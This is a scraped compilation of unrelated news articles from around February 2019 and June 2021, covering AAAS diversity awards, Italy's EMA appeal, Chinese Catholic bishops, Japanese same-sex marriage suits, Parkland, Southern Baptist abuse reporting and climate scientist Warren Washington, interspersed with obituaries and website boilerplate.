The STEM Equity Achievement (SEA) Change initiative at AAAS will present the three universities with a Bronze Award on February 13, 2019 at the AAAS Annual Meeting. These are the first awards given by the SEA Change initiative at AAAS, which launched in 2018 to encourage institutional transformation in support of diversity and inclusion by ensuring that the full range of talent can be recruited, retained and advanced in science, technology, engineering, medicine and mathematics.

"It is time for our colleges and universities to take the leap and make real institutional change a priority in order to diversify the STEM workforce and provide quality education to all," said Shirley Malcom, senior advisor at AAAS. "We recognize the significant efforts of the three institutions who have committed to undertaking this transformation with SEA Change Bronze Award certification."

Each university selected to receive a SEA Change Bronze Award met the following criteria: conducted a self-assessment using SEA Change principles; identified barriers preventing inclusion and equity in STEM across institutions and departments; developed an action plan to address the barriers identified; and committed to regular review and assessment - by an independent panel of experts - of the action plan and progress made.

Boston University is recognized for its innovation in supporting undergraduates transitioning from high school to college, including identification of students more likely to need support and targeted advising; and for parental leave policies and support for faculty and graduate students.

University of California, Davis is recognized for its innovative approaches to hiring faculty, including the use and review of diversity statements; to policies addressing faculty salary equity; and to outreach and engagement with local communities.

University of Massachusetts Lowell is recognized for making development of a more inclusive culture a focus of the institution's strategic plan; and the use of multiple methods to assess institutional culture in ways that inform their action plan.

###

U.S. academic institutions are encouraged to consider joining SEA Change to facilitate the development of an equity self-assessment and improvement framework for higher education. Currently in its pilot stage, SEA Change will develop diversity, equity and inclusion resources - including a research repository and community networking and trainings - to be shared with, and used by, participating institutions.

For additional information about the SEA Change initiative and its awards program, visit https:/ / seachange. aaas. org .

American Association for the Advancement of Science

The American Association for the Advancement of Science (AAAS) is the world's largest general scientific society and publisher of the journal Science, as well as Science Translational Medicine; Science Signaling; a digital, open-access journal Science Advances; Science Immunology; and Science Robotics. AAAS was founded in 1848 and includes more than 250 affiliated societies and academies of science, serving 10 million individuals. Science has the largest paid circulation of any peer-reviewed general science journal in the world. The nonprofit AAAS is open to all and fulfills its mission to "advance science and serve society" through initiatives in science policy, international programs, science education, public engagement and more. For the latest research news, log onto EurekAlert!, a service of AAAS.2019-02-13

Maeci

The Minister of Foreign Affairs and International Cooperation, Enzo Moavero Milanesi, confirms that the Government, through the State Legal Advisory Service, has lodged an appeal with the European Court of Justice against EU Regulation 2018/1718 that establishes the new headquarters of the European Medicines Agency (EMA) in the city of Amsterdam.

The impugnment of the EU Regulation is the logical consequence of the appeal lodged last year by the Government  and still pending before the European Court of Justice  against the EU Councils decision to assign the new EMA headquarters to Amsterdam after the EU Agency leaves London following the so-called Brexit.

The new appeal confirms Italys resolve to submit to a dutiful jurisdictional scrutiny the legitimacy of the procedures followed in deciding the new EMA headquarters, in the light of the fact that the candidacy of the city of Milan offered all the immediate guarantees necessary to assure the operating continuity of an EU Agency like EMA, which is key to safeguarding the health of the citizens of the European Union.HENNESSEY  Funeral services for Irene Gabriel, 98, will be 10:00 a.m. Saturday, June 26, 2021, at Ladusau-Evans Chapel. Pastor Jimmy Berkenbile will officiate. Burial will follow in Waukomis Cemetery. Services are under direction of Ladusau-Evans Funeral Home.I am a retired Naval Officer and small business owner, outside of my work at the News & Eagle. My wife Tammy and I enjoy serving together at church and attending Gaslight and ESO. We have two daughters, three dogs and little free time.

Follow James Neal | Religion/Health Reporter Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up TodayI was born near Denver, later moved to Selah, Washington and then attended the University of Kansas, graduating in May 2017. Prior to Enid News, I interned with the Yakima-Herald Republic and wrote arts and features for the University Daily Kansan.

Follow Ryan Miller | area reporter Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Todayby Sergio Ticozzi

The underground bishop, recognized by the government last January 30, has sought a way not to belong to the Patriotic Association and has even asked the Pope for forgiveness for this step. A look at the life of underground bishops and priests and an example for the official ones. Nanyang is an ancient mission of PIME (Pontifical Institute for Foreign Missions).

Hong Kong (AsiaNews) - Msgr. Peter Jin Lugang, who on January 30th was recognized by the government as coadjutor bishop of Nanyang (Henan), has done everything possible not to belong to the Patriotic Association (PA), whose statutes " are irreconcilable" with Catholic doctrine, even asking for forgiveness from the Pope. This is what emerges from the words of Fr. Sergio Ticozzi, PIME missionary and expert sinologist, who knows Msgr. Jin personally and the community of Nanyang. The testimony of this bishop is an example for other bishops who perhaps too easily assume positions in PA and in Chinese politics. In addition, his story confirms that at present, Beijing still demands that government recognition passes through membership of the PA, as opposed to what certain Catholic sources claim. At the same time, the story of Msgr. Jin also shows attempts to find other paths, probably due to the knowledge and esteem that the local authorities have for him.

Given that I have personally maintained contacts with the Diocese of Nanyang since the 1980s, where PIME confreres worked before the advent of the Communist Government, I feel obliged to give some clarifications about the recent official installation of Msgr. Jin Lugang, to avoid undue misinterpretations.

The event must be placed in its long historical context and not only in the recent one. The problem of the officialization of the underground clergy in Nanyang was taken into consideration by Msgr. Peter Jin Lugang (born in 1956, ordained bishop in 2007) and by the eight unofficial priests, for more than three years at least.

The situation of these priests was particular: they were not illegal, in the literal sense of the term, because they worked publically in churches known to all, but they were not 'official', that is they did not belong to the Patriotic Association. The local authorities let them work, but, especially in recent years, they put pressure on them to register officially, threatening them with no longer allowing them to carry out public ministry and with sending them home as private individuals. The dilemma was deeply felt by all of them and became a problem of conscience: they were ready to register with the government authorities but without having to go through the Patriotic Association, a condition that is officially requested. They looked for several ways out. Some filed the registration request in somewhat ambiguous terms, recognizing the existence and role of the Patriotic Association but without explicit support. In the end, with the consent and together with Msgr. Jin, they went to the office of the State Administration for Religious Affairs, clearly stating that they were registered through the Patriotic Association, but without becoming members because they did not accept the principles and they did not intend to participate in its activities.

At the beginning of 2017, the request of the eight priests was accepted so they can now minister in peace. The request of Msgr. Jin was not accepted. Local authorities continued to press him; they insisted on his rewriting the request. He did so more than once because the authorities were not satisfied. They summoned him to Zhengzhou, the capital of Henan province, to civil and religious authorities, and even to Beijing, where they asked him to concelebrate with an illegitimate bishop. But he refused.

After the Holy Father legitimized the illegitimate bishops on 22 September, the authorities stepped up their insistence that he submit another request. He did it again, underlining the positive role of the Patriotic Association as a bridge between the Government and the faithful and as the guarantor of the Church's property, in these roles he approved and accepted it. The terms were obviously somewhat ambiguous. The authorities agreed and promised him the official installation before last Christmas. The Bishop's honesty of conscience, however, gave him no peace and he humbly submitted the request for forgiveness to the Holy See: his behavior should be an example to many ...

In the end, I do not know for what reasons, his official installation took place on January 30, as coadjutor bishop of Nanyang, since the elderly Mgr. Zhu Baoyu (born in 1921 and ordained bishop in 1985), who the government still considers the ordinary bishop. (He had already retired in 2010 and is now in a wheelchair: I had a pleasant meeting with him as old friends last August in a convent of religious sisters).

I believe that Msgr. Jin does not intend to work in the Patriotic Association, although he may agree to chair the local commission for ecclesiastical affairs if they propose it to him. Despite his somewhat rustic appearance, I unquestionably admire him for his faith.Work is underway on a new 50,000-square-foot Warrior Tractor business at the Greenbrier Road interchange off Interstate 565 in Limestone County. An official said he hopes the new facility will be open by July.Limestone County's Confederate memorial statue is dedicated in June 1909. The event was catered by Plato Jones, who was born into slavery in the 1840s but by 1909 had become well-known as the barbecue master of Athens. The umbrellas are to block the hot sun, not rain.John Timothy Hudson, 62, of Elkmont, Alabama, died Monday, June 21, 2021, at his residence. Visitation is from 11 a.m. until 1 p.m. Friday at Spry Funeral Home in Athens. There will be a private graveside service at Limestone Memorial Gardens. Mr. Hudson was born July 3, 1958, in Decatur, AlYou will receive full, ad-free access to ElkValleyTimes.com as well as full access to the Electronic Edition of the newspaper.





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Only $36.75 per year after promotional period.Asuncion, Feb 12 (epa-efe).- President Mario Abdo Benitez issued property titles to some 500 peasant families during a ceremony here Tuesday where he spoke of the Paraguayan government's historical debt to "the working people of the countryside."

With the titles, the new landowners will be able to borrow money to improve production and facilitate the purchase of livestock.

The president decried Paraguay's persistent inability to create and maintain "sustainable social policy" and pledged to address that failure by developing new initiatives which would outlast his term in office.

"It will take time to generate an impact in the countryside. We won't be able to solve all of the problems overnight, the historical debts of 50 years ago," he said at Government Palace.

Abdo Benitez asked the farmers to be patient, despite "how much you have been lied to" and invited them to take part in the dialogue the government initiated in December with peasant and indigenous groups with the aim of creating a road map for rural policy.

Those discussions are expected to address issues ranging from land tenure, production, food security and improving access to education and employment for indigenous people and the broader rural population.

The president also looked ahead to next month's 26th annual gathering of peasants in Asuncion to press for land reform and other measures to aid family farmers.

"There has to be mobilization," he said, calling it a "just tool for those think they have something to demand from the Paraguayan state."

Abdo Benitez said he was ready to pay heed to the farmers' grievances.

Also present for the ceremony was Horacio Torres, director of the National Institute of Rural Development and Land (Indert), who stressed the transformational potential of getting legal title to land.

"The title makes of the farmer an entrepreneur, a boss and a producer ... which replaces his former status as an agricultural laborer," Torres said.

Indert determined the demarcation of the properties for which titles were issued Tuesday and confirmed that all of them were suitable for agricultural, he said.

Peasants make up about 35 percent of the population of Paraguay, the second-poorest nation in South America, where 90 percent of rural land is held by less than 5 percent of the landowners.In Japan, same-sex couples are accepted by society but completely ignored in politics. For the first time, 13 couples will file a lawsuit on Valentine's Day to demand protection. However, Shinzo Abes government has already made it clear that this will never happen as long as the Liberal Democrats are in power.

Tokyo (AsiaNews) - A group of 13 same-sex couples plans to file lawsuits tomorrow to request formal recognition of gay marriage.

The plaintiffs in the group suits are 13 same-sex couples who live in Tokyo and seven other prefectures and range in age from their 20s to 50s.

A country that does not recognize a gay marriage as legal amounts to branding same-sex couples as a union not approved by society, said Takako Uesugi, who will co-lead the legal team in the lawsuit in Tokyo. We would like to restore the dignity of people who love their partners of the same gender.

Their lawyers will argue that the failure to allow same-sex marriage violates Japans constitution, which guarantees freedom of marriage and equality of every citizen before the law.

However, the central government, under Prime Minister Shinzo Abe and his Liberal Democratic Party (LDP), are reluctant to legally recognise gay marriages.

In its election campaign, the LDP had championed the traditional concept of a family being a man and a woman with children.Effingham, IL (62401)

Today

Partial cloudiness early, with scattered showers and thunderstorms during the afternoon. High 82F. Winds S at 10 to 20 mph. Chance of rain 60%..

Tonight

Cloudy skies early with scattered thunderstorms developing late. Low 72F. Winds S at 10 to 15 mph. Chance of rain 40%.My first mentor teacher told me, When you get a new student, you dont have just one new kid. You have 25 new kids.

He was right. Until December, our class was about as harmonious as a troop of 8-year-olds with wildly varying needs, quirks, and temperaments could be. Then we got a new kid, and the class community fractured a little bit. It wasnt a sudden shattering, like a dropped vase. More of a realignment, a shifted tectonic plate that caused enough seismic activity to be felt without actually knocking anything over.

Suddenly my 2nd graders were a little rowdier. Guadalupe, my student with autism, needed more frequent interventions throughout the day to avert a meltdown. I became a little grumpier, less patient, a little more eager to reach the end of the day and send the kids home.

I only had one new student, but it felt like I had a whole new class.

The New Kid

Santiago moves and talks like he has a motor inside his body thats stuck in overdrive. I speak Spanish, but he speaks so fast that I often have no idea what hes trying to tell me.

Hes affectionate, leaning against my arm when we read together, seizing me in a tight hug and telling me, Te extrano! (I missed you!), after a weekend away from school. He loves vividly illustrated books like Dog Man and Diary of a Wimpy Kid , even though he cant read almost any of the words.

He is also quick to anger. This week alone, he has gotten in trouble for pushing other kids on the way back from recess, spitting on another student, and rushing out of the cafeteria and down the hall without permission because he suddenly felt the anger rising up. He told me he wants a pitbull because se enojan (they get mad) like him. You can guess his favorite superhero, right? The most famous exemplar of anger issues in the Marvel universe: The Incredible Hulk.

I looped with 22 of my students from 1st to 2nd grade, so by this point I know instinctively how to meet their various needs. When Guadalupe starts crying, I know Id better find a silly picture book as quickly as possibleThose Darn Squirrels! is a trusty favoriteso I can get her laughing before her quiet tears become bellowing sobs. When Luis gets overwhelmed and twists his mouth into a silent grimace, I know to send him down the hall to splash water on his face. With Santiago, I dont have that deep well to draw from. Two months after he joined our class, he and I are still figuring each other out.

The Village It Takes

For most kids, it takes a village. For children like Santiago, it takes a village and a half.

One thing I love about my school is that it has in place precisely the kinds of supports that 30,000 teachers in L.A. went on strike last month to secure for their students. Our school therapist, who has training to deal with deeper issues than the everyday squabbles our school counselor knows how to handle, has begun pulling Santiago to provide therapy in his native language. Our office staff is connecting his mom with the kinds of resources she needs to handle the daunting issues that come with poverty, the violence she fled in El Salvador , and the struggle to adapt to a language and culture that is not her own.

Were figuring out what Santiago needs in order to thrive. The option to take his own timeout in one of the class tents when he feels the anger bubbling up. A partner he chose who translates for him and explains the assignments in Spanish.

Above all else, he needs to know that he belongs in this country, this school, and this class. He needs to know that we care about him deeply, and we will catch him when he falls.

Three Tips for Welcoming New Students

Most new students dont arrive with the array of needs that Santiago possesses. But its almost always tricky to integrate a new kid who contains a complex geography of strengths, needs, and quirks that we havent yet begun to map. What can we do to make their arrival a little smoother?

1. Expect things to change.

School isnt just school. Its home. Between Monday morning and Friday afternoon, our students generally spend more waking hours in school than they do in their own homes. Imagine a stranger showing up tomorrow and moving into your house. Whether they were rude or polite, tidy or messy, it would feel weird to have a new houseguest cooking in the kitchen or stretched out on the couch.

Be ready to adjust. Pay attention to how things may be changing in your classroom, and why. Its not just your new student who will need you to listen carefully, observe keenly, and summon more patience and compassion than usual. The other kids in the class will need a little more from you, too.

2. Have a desk and welcome packet ready to go.

The revolving door at our school can spin quickly. Sometimes a new kid arrives before I made time to remove the old nametag and belongings of the student who vacated the desk the day before.

Its much more welcoming for new students to walk in and find a clean desk waiting for them, with all the supplies theyll need, than to have them stand there awkwardly while you empty out half-filled notebooks and broken pencils. Its a good idea to have a folder ready to go, too, with the letter you wrote to families at the beginning of the year and any school information or paperwork the parents might need.

Consider how your other students can help welcome the new student, too. One year I had a girl with shaken baby syndrome who had been in a self-contained special education classroom but began to join our class for an hour each day. On her first day with us, my students lined up and one by one they handed her cards they had made that morning, welcoming her to our class. I will never forget her dawning look of wonder.

3. Go back to the beginning.

We do all kinds of activities to build class community the first few weeks of school. Then we get caught up in the hustle of the school year, and its easy to let the social-emotional stuff go out the window.

When a new student joins your class, make time for a few get-to-know-you activities. Have the kids wear nametags for a couple of days, until the new student has learned at least a handful of names.

Revisit the fundamentals: class norms like kindness, respect, and listening to one another. The first week of school, I teach my kids how to do a Peace Talk following a series of read alouds and conversations about anger and other emotions. New students will need me to circle back to those lessons and routines.

A classroom of children is like a family. Its full of all the joy, trust, and comfort that can exist in a tightly knit family, but its also plagued by the ruptures, frustrations, and broken bonds that even the closest of families can experience at times. Going back to the beginning will help integrate your new student into that family. It will also give the other kids a chance to strengthen their connections and repair any rifts that have opened up over the course of the year.

Years from now, your new students might not remember the lessons you taught on landforms or expanded notation during their first week. But they will remember your kindness.

Theres something miraculous about the way 25 strangers become, through the days and hours of the school year, a family unit. That gradual alchemy is at the heart of the work teachers do with every child in our care, whether we have known them only a few hours or for many years.A group of Vermont high school students backed by a powerful conservative Christian legal organization is accusing the state of religious discrimination.

The unnamed students, backed by lawyers from the Alliance Defending Freedom, say they wanted to take college classes under the states dual-enrollment program but were excluded because they attend a Roman Catholic high school.

Eligible students can take college classes, and the state pays. However, the Vermont supreme court ruled in 1999 that using public money to pay tuition to private religious schools violates the state constitutions religious-freedom clause.Its been nearly a month since Omaha Nation Elder Nathan Phillips and Nicholas Sandmann, a white student from Covington Catholic High School, appeared to face off on the steps of the Lincoln Memorial in Washington. Phillips was there for the Indigenous Peoples March and Sandmann for the March for Life. A bystander captured the moment when Sandmann appeared to be smirking at Phillips, and then posted it on Twitter. The image quickly provoked a fire hose of outrage. Soon, videos shot from multiple angles surfaced, revealing that Sandmann and his male classmates had been previously taunted by another groupthe Black Hebrew Israelites. The videos also showed Covington students engaged in chants and tomahawk chops to the sound of Phillips playing the hand drum. And, suddenly, the narrative became more complicated. For many, the additional videos were evidence that the teen and his classmates were victims, not perpetrators of racism. The calls to move past the debate were swift. But many Native people have said, Not so fast. For Rebecca Nagle, a citizen of the Cherokee Nation, there were many lessons for educators. Education Week Editorial Intern Sasha Jones caught up with her recently to discuss them.

Many have argued that its time to move on from the encounter between the group of Covington Catholic High School students and members of the Indigenous Peoples March. Why is anyone still talking about it, and why should educators still be thinking about it?

NAGLE: I think theres a lot to take from it in terms of what educators and what our education system, in general, can do better. I think that the behavior of the Covington Catholic High School students, while unfortunate, is not rare and is reflective of larger problems within media and pop culture, but also K-12 curriculums, and what people are learning about Native Americans and what people arent.

Whats your response to the critics who say that its because some white students dont often encounter students of color that they dont know how to behave? Do you think thats fair?

I cant count how many times somebody has told me, Oh, wow, youre the first Native person Ive ever met. And you know what I say to that? Thats probably not true. Its just the first time that youre aware of it, because youre meeting Native people all the time, were just invisible. So, youre not coming to the conclusion that the person that youre meeting is Native American. There are over five million Native people in the United States. The vast majority of us actually dont live on reservations. Were in urban areas. Were in suburban areas. I think its helpful for students to be exposed to people who are not like them to build tolerance and to also learn. But you shouldnt have to have those experiences to treat people who are different from you with respect, in my opinion.

What do you think the responsibility of schools is to teach tolerance?

I think theres a huge responsibility for educators to teach tolerance. I think the idea of K-12 education is that were preparing young people to be good citizens. I think that tolerance is completely necessary for that. Beyond what were teaching students about individual behavior and how they should act, I think its important that we teach them about systems. What happened in the interaction between the high school students and Nathan Phillips is systemic because thats how Native people are treated all the time. The dehumanization that those boys learn comes from systems. We need to teach them about how they work, what their impact is, and what can be done to change them.

Like you said, these incidents are not necessarily rare. What would you say to those who, in your words, are privileged enough to not have experienced them?

Listen to Native people. Native people experience this type of racism daily, and we know what it is. In this moment of reflection, I think for that learning to occur, Native voices really need to be centered, and to be heard, and to be believed, too. When people say, I know what that look is because Ive been on the receiving end of it"its not just Native people, but also people of color and a lot of womenpeople need to listen to that experience, their lived experiences.

Bullying and racism play out in the classroom all the time. How can educators prevent this kind of situation from taking place?

We need to teach students how to intervene. Thats not [about] teaching people how to be a white savior. But we need to teach, especially white kids, when they see somebody who is whiteit might be a peer, it might be somebody in their familysay or do something thats racist, how to challenge that behavior and how to have hard conversations. It can be a scary moment to call somebody out in that way, so I think teaching people real skills around having those difficult conversations is something that I think most of our schools leave out of curriculum. Part of being a good citizen of a diverse country, a diverse city, or a diverse community is being able to have those skills, instead of just ignoring it or walking away, to stand up against that wrong.

The interview has been edited for length and clarity.Few people have been affected by last years school shooting in Parkland, Fla. in quite so many ways as Patrick Petty.

His younger sister Alaina was one of the 17 people slain inside Marjory Stoneman Douglas High last Valentines Day. Patricks father, Ryan Petty, is an outspoken advocate for victims families and serves on the state commission investigating the massacre. And five days a week, Patrick, now a 17-year-old senior at Stoneman Douglas, returns to the scene of an attack that upended his life and traumatized an entire community.

Tragedy has brought out the best in many people, Patrick said in an interview with Education Week. Hes been particularly moved by the ways students and staff at his school have pulled together.

I dont think I would have come back if werent for the people there, Patrick said. My friends and teachers, theyre the ones that keep me strong and make it bearable for me to walk past that building every morning and be able to bear what happened there.

Still, these past 12 months have been painful.

New information about failures that contributed to the tragedy seems to emerge every week. Controversies have divided his school. Patrick, a pro-Second Amendment guy who believes in listening to the other side, has taken social-media flak from all corners.

And Patrick misses his little sister, often at the smallest times, like when he walks by her room and catches himself expecting to see her studying or playing with the family dogs.

It will never get easy, Patrick said. Its something I am trying to learn to live with.

A Little Sister

Before the shooting, Patrick said, life at Stoneman Douglas was full of the same sort of things you see in the moviesgoing to classes and hanging out with friends, playing sports, getting in dumb arguments and fights.

It never really occurred to him that a school shooting could happen in Parkland:

For years, that sense of normalcy extended to Patricks relationship with his sister Alaina, one of his three siblings. He got on Alainas nerves. She tried to hang around his friends. He shooed her away.

But when Alaina joined him as a member of Stoneman Douglas JROTC program, Patrick got to see a new side of his sister:

Then came Feb. 14. A disturbed former student armed with an AR-15 assault rifle walked through an unattended pedestrian gate and made his way into a Stoneman Douglas classroom building housing dozens of staff members and hundreds of students.

Alaina Petty was in her English class on the buildings first floor. The gunman fired through the window of the locked classroom door, killing the 14-year old freshman and two other students.

All told, he shot 34 people, 17 fatally.

Feeling Safe at School Again

When school reopened two weeks later, Patrick Petty said he didnt safe returning.

Over time, though, that has mostly changed.

One big reason: the new Stoneman Douglas school resource officers who replaced Scot Peterson, the armed sheriffs deputy who resigned in disgrace after it was revealed that he had hidden on campus rather than confront the gunman.

The new officers have all looked me and my dad in the eye and told [us] they would run into harms way to protect any of the kids, Patrick said.

Theres also been a big change within the broader Stoneman Douglas community. Patrick said its hard to explain the impact of getting to spend time each day with other people who understand what hes gone through:

And the high school senior hasnt just been on the receiving end of such compassion.

Surviving the past year has also made him a better person, Patrick believes. Hes become less aggressive about trying to prove his own points, more patient and caring with others, and more able to take a step back and see the bigger picture:

A year after the tragedy, that willingness to listen to the other side is something Patrick would like to see more of.

Strong Political Stance

Across the country, the Parkland shooting has sparked contentious debates around issues such as gun control and school discipline.

Patrick, who is an avowed conservative, hasnt been shy about his stances. Hes strongly opposed to many of the gun restrictions some of his classmates have built a national movement around, for example.

But like his father, Patrick supported the Marjory Stoneman Douglas High School Public Safety Act, which passed not long after the shooting. The law raised the legal age for purchasing a firearm in Florida from 18 to 21.

Patrick said both his pro-gun position and his willingness to listen and compromise earned him scorn on social media:

Even more challenging have been some of the local issues that have arisen over the past year.

Shortly after Thanksgiving, for example, Broward County Schools Superintendent Robert Runcie removed three assistant principals and a security specialist from Stoneman Douglas, citing the need to investigate lapses before and during the shooting.

Patrick knew the administrators well and considered them friends and good people. But he had also closely followed the work of the Stoneman Douglas Public Safety Commission, and Patrick had concluded that theyd blatantly ignored some key policies that, if followed, could have prevented the shooting.

He felt strongly they should be removed.

Hundreds of his classmates disagreed, walking out of school to protest the move.

The schism stung deeply, Patrick said.

But it was also an opportunity to be the new person hes trying to become:

As the one-year anniversary of the tragedy arrives, Patrick said thats what he wants the rest of the country to consider most.

He and his family are doing OK. Theyre learning to live with their pain, and theyre learning to live in ways that honor Alainas memory.

What he wants now, Patrick said, is for those who are lucky enough to still be here to learn to work together.

We need to start coming together and learning how to talk to each other, he said.

You have to be the one that bridges the gap.Over 800 families suffered damages by a Socfin-KCD plantation, which is funded by Bollore. The plaintiffs lost hope of obtaining justice in Cambodia and so took their case to France.

Phnom Penh (AsiaNews/Agencies)  The French Embassy in Phnom Penh has denied visas to representatives of six Bunong tribal villages in the eastern province of Mondulkiri, who want to take legal action in France against the multinational Bollore.

Eleven people had applied for a visa, including a lawyer, a translator and nine representatives of the indigenous group.

The latter, some 114 people living in Bou Sra commune (Pech Chreada district), said that their land, traditions and ancestral customs are threatened by Socfin-KCD, a company bankrolled by Bollore.

Last year, the residents filed a lawsuit demanding compensation for damages caused by Socfin-KCD, which has operated a rubber tree plantation in the province since 2008.

At a press conference held yesterday in the Cambodian capital (pictured), Kroeung Tola, spokesman for the Bunong community of Bou Sra, explained that the indigenous group turned to a French court after losing hope of obtaining justice in Cambodia.

In January, a court in Nanterre (near Paris) summoned nine members of the indigenous community to appear at a hearing scheduled for yesterday morning.

The hearing had been postponed the previous month because the plaintiffs had been unable to obtain visas to appear before the court.

Mathilde Teruya, a political and press counsellor at the French embassy, said in an email on Tuesday that the visa applications submitted did not comply with EU Schengen regulations. Their presence at the tribunal wasnt compulsory at this stage of the trial, Teruya said.

A report issued last year by the Cambodian Centre for Human Rights (CCHR) said that more than 800 families were affected by Socfin-KCD, most of them ethnic Bunong.

At least 640 families were involved in a land dispute after the private company received a 70-year lease to some 2,386 hectares for rubber plantation and agricultural products.

Mondulkiri provincial authorities claim the land dispute was settled; however, the villagers said they were still involved in lawsuits.The Southern Baptist Convention president says he has been left "broken" after investigations by two Texas newspapers found that since 1998, about 380 SBC leaders and volunteers have faced allegations of sexual misconduct.

"The abuses described in this @HoustonChron article are pure evil," SBC President J.D. Greear stated in a series of tweets after the Houston Chronicle reported on Feb. 10 on instances of abuse by ministers, youth pastors, Sunday School teachers, deacons and church volunteers.

"I join with countless others who are currently 'weeping with those who weep,'" Greear stated on Twitter, voicing resolve to mobilize the SBC in "stopping predators in our midst," the Baptist Press reported on the SBC website.

The Houston Chronicle and the San Antonio Express-News also found that in the past 20 years, more than 700 victims have been abused, with some urged to have abortions and forgive their abusers, CNN reported.

The newspapers said their investigation included "examining federal and state court databases, prison records and official documents from more than 20 states and by searching sex offender registries nationwide."

In Texas alone, the newspapers interviewed police and district attorneys in 40 counties.

"Ultimately, we compiled information on 380 credibly accused officials in Southern Baptist churches, including pastors, deacons, Sunday school teachers and volunteers," the newspapers said.

"We verified that about 220 had been convicted of sex crimes or received deferred prosecutions in plea deals."

Of those 220, 90 remain in prison and 100 are registered sex offenders, according to the report.

The investigation comes as other religious bodies, including the Roman Catholic Church, face accusations of widespread sexual abuse of its members, especially children, over decades.

CNN reported that unlike the Catholic Church and other Christian denominations, the Southern Baptist Convention is a collection of 47,000 autonomous churches, with little power to force churches to comply with policies.

"The SBC presents no governing policies to churches because the SBC is not a governing organization; it is a service organization. Each church is self-governing," Sing Oldham, a spokesman for the SBC was quoted as saying on CNN.

"However, the Convention has consistently called on churches to report immediately to law enforcement any known or suspected instance of sexual abuse in a church context and has provided resources to inform churches of ways to help protect their congregants," said Oldham.

BIGGEST PROTESTANT DENOMINATION IN US

The SBC has some 15 million members and is the largest Protestant denomination in the United States.

Russell Moore, president of the SBC's Ethics & Religious Liberty Commission, wrote in a commentary after the report was published, "No church should be frustrated by the Houston Chronicle's reporting, but should thank God for it. The Judgment Seat of Christ will be far less reticent than a newspaper series to uncover what should never have been hidden."

The convention does not maintain its own registry of sexual offenders.

"In 2018, as advocates again pressed SBC officials for such a registry, Houston Chronicle reporters began to search news archives, websites and databases nationwide to compile an archive of allegations of sexual abuse, sexual assault and other serious misconduct involving Southern Baptist pastors and other church officials," the newspapers said.

"We found complaints made against hundreds of pastors, church officials and volunteers at Southern Baptist churches nationwide."

In a blog post, Moore confronted those who "have implied that the horrific scandals we have seen in the Roman Catholic church are due to the theology of Catholicism, the nature of a celibate priesthood and so forth."

"No church should be frustrated by the Houston Chronicle's reporting, but should thank God for it," Moore concluded.

"The Judgment Seat of Christ will be far less reticent than a newspaper series to uncover what should never have been hidden."By Marlene Cimons

Warren Washington can trace at least one of the origins of his extraordinary scientific careermore than half a century of groundbreaking advances in computer climate modelingto a youthful curiosity about the color of egg yolks.

"I had some wonderful teachers in high school, including a chemistry teacher who really got me started," he said. "One day I asked her, 'Why are egg yolks yellow?' She said, 'why don't you find out?'" So he did. He still remembers the answerthe sulfur compounds in chicken feed become concentrated in the yolk, turning it yellow. "I also had an excellent physics teacher," he said, describing why he became an atmospheric physicist.

Those teachers would be immensely proud of him today. Before the evolution of sophisticated computers, scientists knew little about the atmosphere other than what they could observe outright. Then a young black physicist came along, eager to use early computers to understand the workings of the Earth's climate. He collaborated in creating the earliest computer climate models and went on to advise six presidents about climate change  Jimmy Carter, Ronald Reagan, George H.W. Bush, Bill Clinton, George W. Bush and Barack Obama. He was awarded the National Medal of Science in 2010 by President Obama. Washington, now 82, recently retired after 54 years at the National Center for Atmospheric Research, though it isn't much of a retirement. He still continues to conduct research as a distinguished scholar.

Warren Washington in 1975. National Center for Atmospheric Research

Washington was an early pioneer of climate modeling. Working with Japanese scientists in the early 1960s, he was one of the first to build computer atmospheric models using the laws of physics to predict future atmospheric conditions. Despite his accomplishment, he avoids any semblance of self-promotion and seems happy with his low public profile. "



"I am quiet, but not to the extreme," he said. "I'm just not as vocal as some people in the field, but that's OK. [Some] people say I'm a legend, while others joke about the fact that I am still alive." When compared to the subjects of the movie Hidden Figures, the black, female mathematicians who worked for NASA in the 1960s, he laughed. "You know, I think I met those ladies," he said, pausing. "It was just a small world then."

There is no Nobel Prize for climate change, the world's most pressing environmental problem. But if there wereand there is an ongoing campaign to establish oneWashington almost certainly would be on the short list. He will soon receive the next best thing, the Tyler Prize for Environmental Achievement, often referred to as the environmental Nobel. He will be sharing the honor with climate scientist Michael Mann, director of the Earth Systems Science Center at Pennsylvania State University.



In addition to recognizing their groundbreaking climate research, the award also sends a message to climate skeptics who have gone after Mann and Washington. Mann has endured multiple public attacks and Washington, despite his low-key nature, occasionally fields death threats, which he said "haven't really had an effect on me." Washington applauded Mann for standing up to the critics. "He's handled it very well," he said.

For his part, Mann is thrilled to be sharing the award with Washington, his longtime idol. "I used to read his papers when I was a graduate student, and he is a real hero of mine," Mann said, pointing out that Washington received his doctorate in atmospheric sciences  only the second African-American ever to do so  at Penn State. "He is one of our most distinguished alumni," Mann said. "He is such a great role model, who speaks to the fundamentally important contribution that diversity plays in advancing science."

Washington at a computer terminal in his younger days. National Center for Atmospheric Research

Washington's father, Edwin, was reared in Birmingham, Alabama and attended Talladega College, a small historically black college. After his 1928 graduation, he left the South for Seattle, and a year later for Portland, where Washingon was born and raised. During the Great Depression, jobs were scarce, so Edwin took the only job he could find, as a waiter on the Union Pacific Railroad. "He was bitter about it," Washington said.



Washington's mother Dorothy attended the University of Oregon for 18 months, majoring in music. "She couldn't stay in the dormitory because they wouldn't allow black women," he said. "She had to work as a live-in helper for a family to have a place to stay. She left college after two years because she was upset about it."

In grade school, Washington read books about George Washington Carver and other black Americans "doing interesting science." By high school, he had decided on a career in physics. But the racism encountered by his parents was still alive at Oregon State University. "My freshman advisor told me I shouldn't stay in physics because it was probably too hard for me," he said. Ignoring the advice, he graduated in 1958 with a bachelor's degree in physics. He then earned a master's in meteorology in 1960, also from Oregon State, and finally a doctorate in atmospheric science in 1964 from Penn State.

Washington reviewing climate simulation results on film. National Center for Atmospheric Research

The earliest computer he usedhe thinks it was in 1957was an old vacuum-tube model, about the size of a room, and agonizingly slow. "In those days it took one day to generate one day of simulation," he said. Today, "for the highest resolution, we can probably do 10 years in a day. For the lowest, we can probably do 100 years in a day. Today, I probably have more computing power in my smartphone than in those very early computers."



